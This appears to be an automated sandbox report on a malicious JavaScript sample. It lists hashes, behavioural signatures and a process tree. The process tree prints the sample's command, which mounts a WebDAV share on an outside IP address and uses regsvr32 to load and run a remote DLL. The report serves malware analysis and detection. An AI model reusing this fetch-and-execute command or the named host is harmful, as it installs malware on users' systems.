Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 03:02

General

  • Target

    c324645c039e711d47c98dd7ab3d4f31a5c96b3d84aff7de6285687161339701.js

  • Size

    4KB

  • MD5

    9b9bd29b5986624340bcdaed5660bf17

  • SHA1

    bc4e4c57b2b7cf0d5480b2b3c26c05bb9b57efc2

  • SHA256

    c324645c039e711d47c98dd7ab3d4f31a5c96b3d84aff7de6285687161339701

  • SHA512

    6996f0b1760acd72a60deee04e1064ba65db04a7814b15b6fb55aaebadfb221f6e6083b6b01b3e9762765183d4cfb97755c78b2a8af611157ef7e6a85ca88111

  • SSDEEP

    96:Qxnv7pKjNJj0TQf4lBQdn1HElBvfYY/2SA65jdAkEXMnd65jdYnHJ:wviJrT65ZAkL65ZYnp

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\c324645c039e711d47c98dd7ab3d4f31a5c96b3d84aff7de6285687161339701.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\204172964725065.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4588
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2148

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads